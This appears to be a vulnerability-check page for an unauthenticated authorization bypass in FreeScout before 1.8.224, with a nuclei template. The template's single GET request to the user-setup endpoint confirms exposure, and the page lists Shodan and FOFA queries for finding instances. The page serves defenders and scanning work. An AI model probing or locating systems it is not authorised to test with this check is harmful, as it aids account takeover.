FreeScout < 1.8.224 - Invite Hash Authorization Bypass

criticalseverity

9.4CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

FreeScout prior to 1.8.224 contains an authentication bypass caused by improper invite_hash handling and decryption failure in user setup endpoint, letting anonymous attackers reset credentials and log in as the lowest-id activated user, exploit requires no authentication.

Impact

Anonymous attackers can reset email and password of the lowest-id activated user, gaining full access including administrator privileges.

Fix

Upgrade to version 1.8.224 or later.

How to confirm it

Send: GET /user-setup/%20/9999999999
Positive when: status_code == 200 and contains_all(body, "name=\"password_confirmation\"", "User Setup Wizard") and !contains(body, "No invite was found")

Run it with nuclei: nuclei -id CVE-2026-53595 -u <target>

The full check

id: CVE-2026-53595

info:
  name: FreeScout < 1.8.224 - Invite Hash Authorization Bypass
  author: str4k3r
  severity: critical
  description: |
    FreeScout prior to 1.8.224 contains an authentication bypass caused by improper invite_hash handling and decryption failure in user setup endpoint, letting anonymous attackers reset credentials and log in as the lowest-id activated user, exploit requires no authentication.
  impact: |
    Anonymous attackers can reset email and password of the lowest-id activated user, gaining full access including administrator privileges.
  remediation: |
    Upgrade to version 1.8.224 or later.
  reference:
    - https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-jqj5-r72v-v29g
    - https://github.com/freescout-help-desk/freescout/commit/c4688c31
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53595
  classification:
    cve-id: CVE-2026-53595
    epss-score: 0.01945
    epss-percentile: 0.80346
    cwe-id: CWE-289
    cvss-score: 9.4
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
  metadata:
    verified: true
    max-request: 1
    vendor: freescout-help-desk
    product: freescout
    shodan-query: http.title:"FreeScout"
    fofa-query: title="FreeScout" || body="freescout"
  tags: cve,cve2026,freescout,helpdesk,laravel,authbypass,unauth,vkev

http:
  - raw:
      - |
        GET /user-setup/%20/9999999999 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "name=\"password_confirmation\"", "User Setup Wizard")'
          - '!contains(body, "No invite was found")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from